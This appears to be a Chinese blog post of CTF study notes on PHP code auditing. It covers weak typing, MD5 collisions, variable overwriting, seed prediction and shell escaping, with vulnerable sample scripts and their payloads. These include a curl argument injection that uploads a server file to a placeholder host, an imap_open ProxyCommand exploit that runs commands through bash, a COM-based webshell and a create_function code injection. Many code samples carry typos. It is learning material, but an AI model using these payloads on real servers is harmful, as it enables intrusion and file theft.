玩命加载中 . . .

PHP代码审计


PHP代码审计

1.弱类型及MD5

  • $a==$b:等于true,“如果类型转换”后$a等于$b

  • $a===$b:全等true,除了值相等,类型也相等

    • 注意:如果一个数值和一个字符串比较,那么会将字符串转换为数值
  • strcmp:二进制安全字符串比较(第一个减第二个),转化为ASCII后逐字节比较,然后根据运算结果来决定返回值

  • in_array:检查数组中是否存在某个值,返回bool值,比较不严格

  • array_search:类似于in_array,找到了就返回键,如果strict没有设置,那就使用弱类型的比较(字符串等于0)

  • strpos:查找字符串首次出现的位置,返回值为int型

  • 出错点:

''==0==false                    //空  ==  0  ==  false
['']==[0]==[false]==[null]        //与第一个类似
'123'==123                        //字符123就变成123
'abc'==0                        //字符串被转换为0(null)
'123a'==123                        //字符a会被忽略      //因为常规字符串是以0开头的
'0x01'==1                        //十六进制的1就变成1
'0e123456789'=='0e987654321'    //因为0的任何次方都是0
'null'=='false'==0
true == 1(非零)
  • 常见题目:
<?php
ini_set("display_error",false);
error_reporting(0);
if ($_POST['param1']!= $_POST['param2']&&md5($_POST['param1'])==md5($_POST['param2']))
{
    die("success" );
}else{
    echo "fail"; 
}
?>
//此处要求param1与param2的值不同,但是md5相同
//思路:
//       1.找到MD5相同但文件不同的文件 
//       2.不去考虑MD5,而是考虑MD5计算完成后的结果,利用弱类型比较。此处使用md5对字符串计算后结果为0e开头的例子。        可用的值为:
        //QNKCDZO  :  0e830400451993494058024219903391
        //s878926199a  :  0e545993274517709034328855841020
        //s214587387a  :  0e848240448830537924465865611904
        //payload : prarm1=QNKCDZO&param2=s878926199a
//         3.利用md5函数的返回值:md5计算数组,返回值都为string(php比较时转换为null),所以,传入两个数组也可以达到效果
        //payload : prarm1[]=1&param2[]=
<?php
ini_set("display_error",false); 
error_reporting(0);
if ($_POST['param1']!== $_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
{
    die("success");
}else{
    echo "fail";
}
//此处为强类型比较,三个‘=’
//直接使用MD5函数对数组计算结果为null的方法
//payload : prarm1[]=1&param2[]=
<?php
ini_set("display_error",false);
error_reporting(0);
if ((string)$_POST['param1']!==(string)$_POST["param2"] &&md5($_POST['param1'])===md5($_POST['param2']))
{
    die("flagxxxxxxxxxx}");
}else {
    echo "fail" ;
}
//此时如果再使用第二步的传入数组的方法,就不行了,
//因为,post传值后,被强制转换为了string类型的字符串:Array
//使用fastcoll工具,传入一个文件,生成两个MD5值一样的文件
//将文件的内容使用python3的urllib库中的parse方法读取出来,作为参数值传进去即可
//hackbar可能会出错,使用bp最靠谱
//这是一个sha1算法的例子
<?php
ini_set("display_error",false);
error_reporting(0) ;
$flag = "flag";
if (isset($_GET['name'] )
and isset($_GET['password']))
{
    if ($_GET['name']==$_GET['password'])
    echo  '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name'])===sha1($_GET['password']))
        die('Flag: ' $flag);
    else
        echo' <p>Invalid password.</p>' ;
}
else
echo  '<p>Login first!</p>' ;
//要求:账号密码不相等,但sha1加密后相等
//md5与sql注入的融合
<?php
error_reporting(0);
$link = mysql_connect('localhost','root','root');
if (!$link){
    die('Could not connect to MySQL:'.mysql_error());
}
$db=mysql_select_db("test",$link);
if($db)
{
    echo 'select db error';
    exit();
}
$password = $_GET['password'];
$sql = "SELECT * FROM admin WHERE pass = '"md5($password,true)"'";
#var_dump($sq1);
$result = mysq1_query($sq1) or die('<pre>'.mysql_error().'</pre>');
$row1 = mysq1_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>

//此处为sql注入,应该找一个字符串,该字符串经过MD5计算后会生成以单引号(功能为闭合前一个单引号)为开头的字符出,该字符串为"ffifdyop"
//payload : password=ffifdyop
//json 相关问题:
<?php
highight_file(__FILE__);
include "flag.php";
if (isset($_POST['message'])) {
    $message = json_decode($_POST['message']);
    if ($message->key == $key) {        //此处判断使用的是双等于号
    echo $flag;
    }
else {
    echo "fail";
    }
else{
    echo "----";
}
?>
//$key未知
//注意:非0开头字符串的字符串会被识别为 0 ,
//payload : message={"key":0}
//switch相关问题:
<?php
highiight_file(__FILE__);
$i = "3name";
switch ($i) {            //switch 的比较是使用双等于号。此处如果传入值为字符串,那么会转化为数值
    case 0:
    case 1:
    case 2:
        echo "this is two" ;
        break;
    case 3:
        echo "flag";
        break;
}
?>
flag
//使用strcmp进行比较
<?php
highlight_file(__FILE__) ;
include "flag.php";
if(isset($_POST['password'])){
if (strcmp($_POST['password'], $password) == 0) {
    echo "Right! ! !login success";
    echo $flag;
    exit();
} else {
echo "Wrong password...";
}
?>
//直接传入一个空数组
//payload : password[]=
<?php
highlight_file(__FILE__) ;
$array=[0,1,2,'3'];
var_dump(in_array('abc',$array));            //'abc'被识别为0
var_dump(in_array('1bc',$array));             //'1bc'被识别为1
var_dump(in_array(3,$array));                 //数字3等于字符串3
?>

//bool(true) bool(true) bool(true)
<?php
highlight_file(__FILE__);
$array=[0,1,2,'3'];
var_dump(array_search('abc',$array));
var_dump(array_search('1bc',$array)) ;
var_dump(array_search(3,$array));
var_dump(array_search('3',$array)) ;
?>

//int(0)  int(1)  int(3)  int(3)
<?php
highlight_file(__FILE__) ;
include "flag.php";
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
    if($test[$i]==="admin") {
        echo "error";
        exit();
    }
    $test[$i]=intval($test[$i]);
}
var_dump($test);
if(array_search("admin",$test)===0){       // ===是强类型
    echo $flag;
}
else{
    echo "false";
}
//此处应该利用 arrary_search的弱类型比较(array_search如果没有设置strict,就是弱类型比较),字符串与0相等
//payload : test[]=0

2.变量覆盖

  • extract():从数组中将变量导入到当前的符号变量表,返回值为int,如果该函数没有设置后面的参数,可能会导致后面的变量覆盖
  • $$:引用变量
  • parse_str:将字符串解析成多个变量
  • 曾经存在的问题: import_request_variables:php 4 > 4.1.0 && php 5 < 5.4.0
    • 将get post cookie 变量导入到全局作用域中
<?php
highlight_file(__FILE__);
include "flag.php";
extract($_GET);
if (isset($gift)) {
    $content = trim(file_get_contents($flag));
        if ($gift == $content) {
            echo $trueflag;
    }
        else {
            echo 'oh..' ;
    }
}
?>
//直接传入 gift 和 flag  相等,通过变量覆盖flag
//payload : gift=&flag=
//因为file_get_content 是用来读文件的,所以flag不能传入字符串等其他值,直接传入空就好了
<?php
highlight_file(__FILE__) ;
$a=”helloworld";
echo "$a";
echo <br>";
foreach($_GET as $key => $value) {
$$key = $value;
echo "$a" ;
?>
//如果传入a=123,那么123会把hello word覆盖 
<?php
highlight_file(__FILE__) ;
include "flag.php";
$_403 = "Access Denied" ;
$_200 = "Welcome Admin" ;
if ($_SERVER ["REQUEST_METHOD"] != "POST")
    {
        die("BugsBunnyCTF is here :p...");
    }
if (!isset($_POST["flag"]) )
    {
        die($_403);
    }
foreach ($_GET as $key => $value )
    {
        $$key = $$value;            //此处键和值都是两个$$,所以传入的两个都是变量
    }                                //变量赋值给变量,中间桥梁,
foreach ($_POST as $key => $value)    //get传入  key=flag,通过遍历,此时真实的flag赋值给了key
    {                                //在遍历post的时候,把key的值再传给我们post的flag
        $$key = $value;
    }
if ( $_POST["flag"] !== $flag )
    {
        die($_403);
    }
echo "This is your flag : ".$flag ."\n"; 
die($_200);                        //也可以在get 传入 _200=flag,因为总要输出_200
?>
//该题思路就是利用遍历get的时候,提前将flag的值保存出来,避免post传入的flag把真实flag覆盖
<?php
include "flag.php";
if (empty($_GET['id']))
    {
        show_source(__FILE__) ;
        die();
    }
    else
    {    
        include ('flag.php');
        $a = 'www.OPENCTF.com';
        $id = $_GET['id'];
        @parse_str($id);    //此处通过id传入一个名字为a数组
        if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5( 'QNKCDZO')) .
        {                  //此处需要md5弱类型思路绕过,MD5的结果以0e开头即可
            echo $flag;
        }
        else
        {
        exit( '其实很简单其实并不难! ');
        }
    }
?>
//payload : id=a[0]=s878926199a
//注意:该php文档中说,点和空格会被转化为下划线,所以某些时候可通过点和空格绕过下划线的匹配
//仅试用于 php 4 > 4.1.0  && php 5 < 5.4.0 
<?php
highlight_file(__FILE__) ;
include "flag.php";
$auth = '0';
import_request_variables('G');
if($auth == 1){
    echo $flag;
}else{
    echo "oh no" ;
}
?>

3.空白符

  • intval :获取变量的整数值(十进制)

    • 成功时返回int值,失败返回0,空数组返回0 ,非空数组返回1

    • 32位系统最大带符号的integer范围是 -2147483648到2147483647

    • 64位系统上,最大带符号的integer值是9223372036854775807。

    • <?php
      echo intval(42);                      // 42
      echo intval(4.2);                     // 4
      echo intval('42');                    // 42
      echo intval('+42');                   // 42
      echo intval('-42');                   // -42
      echo intval(042);                     // 34
      echo intval('042');                   // 42
      echo intval(1e10);                    // 10000000000
      echo intval('1e10');                  // 1
      echo intval(0x1A);                    // 26
      echo intval(42000000);                // 42000000
      echo intval(420000000000000000000);   // 0 超出上限,结果不一定为0,不确定
      echo intval('420000000000000000000'); // 2147483647  该值不确定
      echo intval(42, 8);                   // 42,后面加参数代表的是进制
      echo intval('42', 8);                 // 34
      echo intval(array());                 // 0
      echo intval(array('foo', 'bar'));     // 1
      ?> 
  • is_numeric():检测变量是否为数字或数字字符串

    • 该函数会自动跳过 \t \n \r \v \f %20等,即:如果变量包含以上字符,依然认为是数字,返回true
  • trim:会去除首尾的空白符和其他字符 \t \n \r \v \x0B \x0B是水平制表符

  • 浮点数的精度:1.01 != 11.0001 != 11.0000000000000001=1

<?php
highlight_file(__FILE__) ;
include "flag.php" ;
$info = "";
$req = [];
ini_set("display_error",false);
error_reporting(0);

if(!isset($_GET['number'])){
    die    ("have a fun!!");
}
foreach([$_GET,$_POST] as $global_var) {
    foreach($global_var as $key => $value){
    $value=trim($value);               //trim 过滤首尾的字符
    is_string($value) && $req[$key] = addslashes($value);  //给特殊字符增加反斜线
    }
}
function is_palindrome_number($number) {   //回文数验证
    $number = strval($number);
    $i=0;
    $j=strlen($number) - 1;
    while($i < $j) {
        if($number[$i] !== $number[$j]){
            return false;
        }
        $i++;
        $j++;
    }
    return true;
}
if(is_numeric($_RRQUEST["number"]))   // \n\r\t\f\v等都会被自动跳过,所以使用%00
{
    $info="sorry, you cann't input a number!";
}
elseif($req['number'] != strval(intval($req['number']))
{
    $info = "number must be equal to it's integer!!";
}
else
{                 //此处通过intval等函数,要求是回文数
    $valuel = intval($req["number"]);
    $value2 = intval(strrev($req["number"]));
    if($value1 != $value2){
        $info="no, this is not a palindrome number!";
    }            
    else
    {             //此处通过自定义函数,要求不能是回文数
        if(is_palindrome_number($req["number"])){
            $info = "nice! {Svalue1} is a palindrome number! ";
        }
        else
        {
            $info = $flag;
        }
?>
//思路:
//  1.get传值 :number
//    2.过 is_numeric $_REQUEST['NUMBER']  ,number不能是数字,所以带上不会被跳过的特殊字符%00
//    3.常规字符串  在intval会消失  插入一些特殊的值
//    4.$req intval rev 字符串中必然携带回文数121
//    5.is_palindrome_number req    \f121   %0c121  只能传\f 因为trim不会去除\f,is_numeric 会跳过\f,并且f的ASCII码值为12
// payload : number=%00%0c121

4.伪随机数

  • mt_rand(min,max):int :随机数发生器,生成一个min和max之间的数,如果没有指定min和max,返回 0 到mt_getrandmax()之间的伪随机数,有范围
  • mt_srand(seed):seed可选,用来给随机数发生器播种。从php 4.2.0 开始,不再需要seed播种,该操作由系统完成
  • 如果种子seed是确定的,则产生的随机数是一样的
    • 通过工具“php_mt_seed”逆推mt_rand的种子
    • 必须拿到第一个随机数才能逆推回去
  • phar的生成方法:将写好的phpinfo.php添加到压缩包(test.zip)中,修改压缩包后缀即可
    • 访问压缩包中的文件的方法:phar://the-path/test.zip/phpinfo.php
<?php
highlight_file(__FILE__) ;
include "flag.php";
error_reporting(0);
echo "please input a rand_num !":
function crepte_password($pw_length = 4) {
    $randpwd = "";
    for ($i = 0; $i < $pw_length; $i++) {
    $randpwd .= mt_rand();
    }
return $randpwd;
}
session_start();
#var_dump($_SESSION);
$time = time();
mt_srand($time) ;
$pwd = create_password() ;
#var_dump(($_SESSION["userLogin"] = $_GET['login']));
echo $pwd.'||';
echo $_GET['pwd'];
#echo $time;
var_dump($pwd == $_GET['pwd']);
if ($pwd = $_GET['pwd']) {
    echo "first";
    if ($_SESSION['userLogin'] == $_GET['login']) { 
                                        //如果保证每次都是第一次访问,那session就是空
        echo "Nice ,you get the flag it is".$flag;
    }
}else {
echo "Wrong!";
}                                        //如果保证每次都是第一次访问,那session就是空
$_SESSION['userLogin']=create_password(32).rand();  //此处就可以忽略
?>
//上题需要time()产生时间,必须保证电脑与服务器时间同一,此处可使用python脚本或php去跑
//php例子
<?php

function crepte_password($pw_length = 4) {
    $randpwd = "";
    for ($i = 0; $i < $pw_length; $i++) {
    $randpwd .= mt_rand();
    }
    return $randpwd;
}
mt_srand(time());
$pwd = creat_password();
$url = 'http://xx.xx.xx.xx/xx.php?pwd='.$pwd;
system('curl '.$url);

?>

5.运算符优先级:

  • parse_url():mixed:解析url,返回其组成部分(数组),如果url不标准,会返回false
  • 运算符顺序如下:

<?php
highlight_file(__FILE__);
include 'flag.php' ;
$a = 'test' ;
$b = 'test2' ;
$a = $_GET['a'];
$b = $_GET['b'];
$c = is_numeric($a) and is_numeric($b); 
            //本题不用纠结 and的问题,因为and的优先级比‘=’低,所以是先赋值给$c
if($c){
    if (is_numeric($a)) {
        if (is_numeric($b)) {
            echo " is_numeric(b)" ;
        }else{
            echo $flag;
        }
    }else{
        echo 'is_numeric(a) error' ;
    }
}
else{
print  "is_numeric(a) and is_numeric(b) error!";
}
?>
//payload : a=123
//不用在乎$b
<?php
include "flag.php" ;
$numberl = rand(1,100000000000000);
$number2 = rand(1,100000000000) ;
$number3 = rand(1,100000000) ;
$url = urldecode($_SERVER["REQUEST_URI"] ) ;
#echo $url."<br/>"
$url = parse_url($url,PHP_URL_QUERY);
#echo $url."<br/>"  //此处进行破坏,构造url,使用 '///' ,就会直接跳过正则
if (preg_match("/_/i",$url))
    die("..1");
if (preg_match("/0/i",$ur1))
    die("..2");  //3.破坏此处的正则,需要在上面进行破坏
if (preg_match("/\w+/i",$ur1) )
    die("..3");
if(isset($_GET['_']) && !empty($_GET["_"]))
{       //1.注意:php文档中说,点和空格会被转化为下划线,所以可通过点和空格绕过下划线的匹配
    $control = $_GET['_'];
    if(!in_array($control, array(0, $number1)))
    {   //2.此处会把“_”的值赋值给control,然后用in_arrary去比较,但是0会被前面的正则匹配到,所以去破坏前面的正则,使其不能正确匹配
        die("fail1");
    }
    if(!in_array($control, array(0, $number2)))
    {
        die("fail2");
    }
    if(!in_array($control, array(0, $number3)))
    {
        die("fai13");
    }    
    echo $flag;
}
show_source(__FILE__) ;
?>
//payload : http://xxx.xxx.xx.xx///path.php?_=a     //在in_array()中,a就是null,等于0
//payload : http://xxx.xxx.xx.xx///path.php?.=a

6.escapeshellargescapeshellcmd

  • escapeshell(string $arg):string把字符串转码为可以在shell命令里使用的参数

    • escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入shell函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec(),system()执行运算符。
  • escapeshellcmd(string $command):string:对命令中符号做限制

    • escapeshellcmd()对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。此函数保证用户输入的数据在传送到exec()或system()函数,或者执行操作符之前进行转易义。
    • 反斜线(\)会在以下字符之前插入: &#;~/*?~<>^()[]{}$\, \x0A和\xFF'仅在不配对的时候被转义。在Windows平台上,所有这些字符以及%和!字符都会被空格代替
<?php
highiight_file('index.php');
function waf($a){
    foreach($a as $key => $value){
        if(preg_match('/flag/i',$key)){
            exit("are you a hacker" ) :
        }
    }
}
foreach(array('_POST','_GET','_COOKIE') as $_R){
    if($$_R){
        foreach($$_R as $_k => $_v){
            if(isset($$_k) && $$_k == $_v) unset($$_k);  // unset(),可以释放变量
        }                  
    }
}

if($_POST){waf($_POST);}
if($_GET) {waf($_GET);}
if($_COOKIE) {waf($_COOKIE);}

if($_POST) extract($_POST,EXTR_SKIP); //使用POST传入_GET[flag]意思是传入了一个名为_GET的数组,flag是数组中的键,利用这个语句,将_GET提取出来
if($_GET) extract($_GET,EXTR_SKIP);   //利用这个语句,将_GET数组的内容提取出来

if(isset($_GET['flag']){
    if($_GET['flag'] === $_GET['hongri']){
        exit('error');       //flag与hongri的值不能相等,但是md5 必须一样
    }
    if(md5($_GET['flag']) == md5($_GET['hongri']))
    {
        $url=$_GET['ur1'];   //传入url=
        var_dump($url);
        $urlinfo = parse_url($ur1);
    echo "\n";
    echo "<br> url is $url </br>";
    var_dump($urlinfo);
    if(!("http" === strtolower($urlinfo["scheme"]) || "https" ===strtolower($urlinfo["scheme")))    {
                die("scheme error1");
        }
    $url = escapeshellarg($url);
    $url = escapeshellcmd($ur1);
    echo "<br>final url is $ur1</br>";
    system("curl".$url);
    }
}
?>
//使用POST传入 _GET[flag] 意思是 传入了一个名为_GET的数组,flag是数组中的键,之后通过变量提取之后,出现了$_GET变量,然后通过第二个extract()对_GET数组进行提取,将flag提取出来

//get处传入的payload : ?flag=s878926199a&hongri=QNKCDZO&url=http://xx.xx.xx.xx:5555/sdf' -F file=@/var/wwwhtml/php/cmd_1/lag.php'  //直接读取那个文件
//_GET[flag]=s878926199a&_GET[hongri]=QNKCDZO&_GET[url]=http://xx.xx.xx.xx:5555/sdf' -F file=@/var/www/htm/php/cmd_1/flag.php'
//通过get和post方式分别传入值,实现绕过                                                                               

7.绕过disable_function

  • Windows下的COM(系统组件)

    • <?php
      $command $_GET['a'];
      $wsh = new COM( 'WScript.shell' ); //生成一个COM对象Shell.Application也能
      $exec = $wsh->exec("cmd /c". $command); //调用对象方法来执行命令
      $stdout = $exec->StdOut() ;
      $stroutput = $stdout->ReadAll();
      echo $stroutput;
      ?>
  • pcntl扩展: pcntl_exec()

  • imap_open()

    • 公开的exp:

      <?php
      $payload = "echo fsfasaf |tee / tmp/2. txt" ;       //fsfasaf 替换为命令
      $encoded = base64_encode( $payload);
      $mailbox = "any -o ProxyCommand=echo\t" . $encoded." |base64\t-d |bash" ;
      @imap_open('{'.$mailbox.'}:143/imap}INBOX','','');
      ?>
      //ProxyCommand是ssh的一个内容
  • LD_PRELOAD

    • LD_ PRELOAD是Linux采统的-一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达特定的目的。

####8. 源码获取

9.扫描相关

  • dirsearch

10.FUZZ

  • <?php
    $action = $_GET['action'] ?? '';
    $arg = $_GET['arg'] ?? '' ;
    if(preg_match( '/^[a-z0-9_]*$/isD', $action) ) {
    show_source (__FILE__) ;
    } else {
    $action('',$arg);
    }
    //payload : ?arg=}phpinfo();/*&action=create_function
    <?php
    $a = '}phpinfo();/*';
    create_function("",$a);
    ?>
    

文章作者: kylin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 kylin !
  目录